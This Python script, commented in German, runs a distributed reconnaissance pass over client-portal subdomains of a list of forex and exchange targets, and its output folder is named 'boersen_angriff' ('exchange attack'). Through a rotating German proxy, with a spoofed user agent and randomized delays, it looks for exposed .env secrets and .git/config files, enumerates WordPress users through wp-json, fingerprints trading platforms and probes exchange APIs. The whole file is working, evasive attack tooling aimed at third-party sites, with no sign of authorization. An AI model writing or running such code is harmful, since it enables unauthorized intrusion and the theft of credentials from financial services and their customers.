#!/usr/bin/env python3
# Subdomain-Pass: cabinet/portal/my/app/client Subdomains der Forex-Ziele auf offene Türen
import json, time, random, re, sys, os, socket, urllib.request as ur, urllib.error

targets = json.load(open(sys.argv[1]))
WORKER = int(sys.argv[2])
NWORKERS = int(sys.argv[3])
shard = [d for i, d in enumerate(targets) if i % NWORKERS == WORKER]
BASE = "/home/marcel7364/investoren-daten/forex/boersen_angriff"
OUT = f"{BASE}/subdom_w{WORKER}.json"
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"
SUBS = ["cabinet", "portal", "my", "app", "client", "trade"]

def get_proxy():
    for _ in range(5):
        try:
            return json.loads(ur.urlopen(f"http://127.0.0.1:8110/proxy?country=DE&session=fxsub-{WORKER}&ttl=14000", timeout=15).read())["proxy_url"]
        except Exception:
            time.sleep(4)
    return None
proxy_url = get_proxy()
def opener():
    if not proxy_url: return ur.build_opener()
    op = ur.build_opener(ur.ProxyHandler({"http": proxy_url, "https": proxy_url}))
    op.addheaders = [("User-Agent", UA)]
    return op
op = opener()

def req(url, n=30000, timeout=18):
    try:
        with op.open(ur.Request(url), timeout=timeout) as r:
            return {"status": r.status, "body": r.read(n).decode("utf-8", "replace")}
    except urllib.error.HTTPError as e:
        try: b = e.read(800).decode("utf-8", "replace")
        except Exception: b = ""
        return {"status": e.code, "body": b}
    except Exception as e:
        return {"status": -1, "body": f"ERR {type(e).__name__}"}

def is_json(b):
    t = b.strip()
    if not t or t[0] not in "[{": return False
    try: json.loads(t); return True
    except Exception: return False

results = {}
if os.path.exists(OUT): results = json.load(open(OUT))

for d in shard:
    if d in results: continue
    entry = {}
    for sub in SUBS:
        host = f"{sub}.{d}"
        try:
            socket.setdefaulttimeout(6)
            socket.gethostbyname(host)
        except Exception:
            time.sleep(random.uniform(0.2, 0.5))
            continue
        base = f"https://{host}"
        r = req(base + "/", n=40000)
        if r["status"] not in (200, 301, 302, 403):
            time.sleep(random.uniform(0.4, 0.8))
            continue
        info = {"status": r["status"]}
        body = r["body"]
        sigs = [s for s in ("wordpress", "mt45", "hollaex", "opendax") if re.search(
            {"wordpress": r'wp-content|/wp-json', "mt45": r'MetaTrader|mt5\.|mt4\.',
             "hollaex": r'hollaex|HollaEx', "opendax": r'opendax|barong'}[s], body, re.I)]
        if sigs: info["stack"] = sigs
        # .env / .git
        r2 = req(base + "/.env", n=20000)
        if r2["status"] == 200 and "<" not in r2["body"][:300] and re.search(r'^[A-Za-z_][A-Za-z0-9_]*=', r2["body"].strip(), re.M) and len(r2["body"]) < 40000:
            info["env"] = {"len": len(r2["body"]), "head": r2["body"][:600]}
        time.sleep(random.uniform(0.4, 0.8))
        r2 = req(base + "/.git/config", n=8000)
        if r2["status"] == 200 and "[core]" in r2["body"]:
            info["gitcfg"] = {"head": r2["body"][:300]}
        time.sleep(random.uniform(0.4, 0.8))
        # wp users
        if "wordpress" in sigs:
            r3 = req(base + "/wp-json/wp/v2/users?per_page=100")
            if r3["status"] == 200 and is_json(r3["body"]):
                try:
                    info["users"] = [{"id": u.get("id"), "name": u.get("name"), "slug": u.get("slug")} for u in json.loads(r3["body"])]
                except Exception: pass
        time.sleep(random.uniform(0.4, 0.8))
        # API-Sonden
        for p in ("/api/v3/tickers", "/api/v2/peatio/public/currencies", "/trade_api/v2/front/markets"):
            r4 = req(base + p, n=9000)
            if r4["status"] == 200 and is_json(r4["body"]):
                info.setdefault("api", {})[p] = r4["body"][:200]
            time.sleep(random.uniform(0.3, 0.6))
        if info.get("stack") or info.get("env") or info.get("gitcfg") or info.get("users") or info.get("api"):
            entry[host] = info
        time.sleep(random.uniform(0.5, 1.0))
    results[d] = entry
    n_done = sum(len(v) for v in results.values())
    if len(results) % 25 == 0:
        json.dump(results, open(OUT, "w"), ensure_ascii=False)
        print(f"w{WORKER} {len(results)}/{len(shard)} (Sub-Hits: {n_done})", flush=True)
    json.dump(results, open(OUT, "w"), ensure_ascii=False)
    time.sleep(random.uniform(0.5, 1.0))

json.dump(results, open(OUT, "w"), ensure_ascii=False)
print(f"w{WORKER} FERTIG {len(results)} (Sub-Hits: {sum(len(v) for v in results.values())})", flush=True)
